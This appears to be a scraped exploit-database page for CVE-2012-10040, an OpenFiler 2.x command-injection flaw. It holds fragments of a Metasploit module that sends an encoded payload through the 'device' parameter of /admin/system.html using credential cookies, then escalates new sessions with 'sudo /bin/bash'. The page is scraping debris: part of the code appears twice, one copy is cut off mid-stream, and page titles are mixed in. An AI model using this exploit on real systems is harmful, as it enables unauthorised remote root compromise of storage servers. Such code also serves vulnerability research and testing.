CVE-2012-10040

OpenFiler 2.x - NetworkCard Command Execution (Metasploit) - Linux remote Exploit

Openfiler download | SourceForge.net

Openfiler Storage Control Center<\/title>/ return Exploit::CheckCode::Detected('The target service was detected') end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Connection failed") return Exploit::CheckCode::Unknown('Could not determine the target status') end return Exploit::CheckCode::Safe('The target is not vulnerable') end def on_new_session(client) client.shell_command_token("sudo /bin/bash")...

Openfiler Storage Control Center<\/title>/ return Exploit::CheckCode::Detected('The target service was detected') end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Connection failed") return Exploit::CheckCode::Unknown('Could not determine the target status') end return Exploit::CheckCode::Safe('The target is not vulnerable') end def on_new_session(client) client.shell_command_token("sudo /bin/bash") end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] cmd = Rex::Text.uri_encode("&#{payload.raw}&") # send payload print_status("Sending payload (#{payload.raw.length} bytes)") begin res = send_request_cgi({ 'uri' => '/admin/system.html', 'cookie' => "usercookie=#{user}; passcookie=#{pass};", 'encode_params' => false, 'vars_get' => { 'step' => '2', 'device' => "lo#{cmd}" } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unknown, 'Connection failed') end if res and res.code == 200 and res.body =~ /<title>System : Network Setup<\/title>/ print_good("Payload sent successfully") elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/ fail_with(Failure::NoAccess, 'Authentication failed') else fail_with(Failure::Unknown, 'Sending payload failed') end end end

Openfiler v2.x multiple vulnerabilities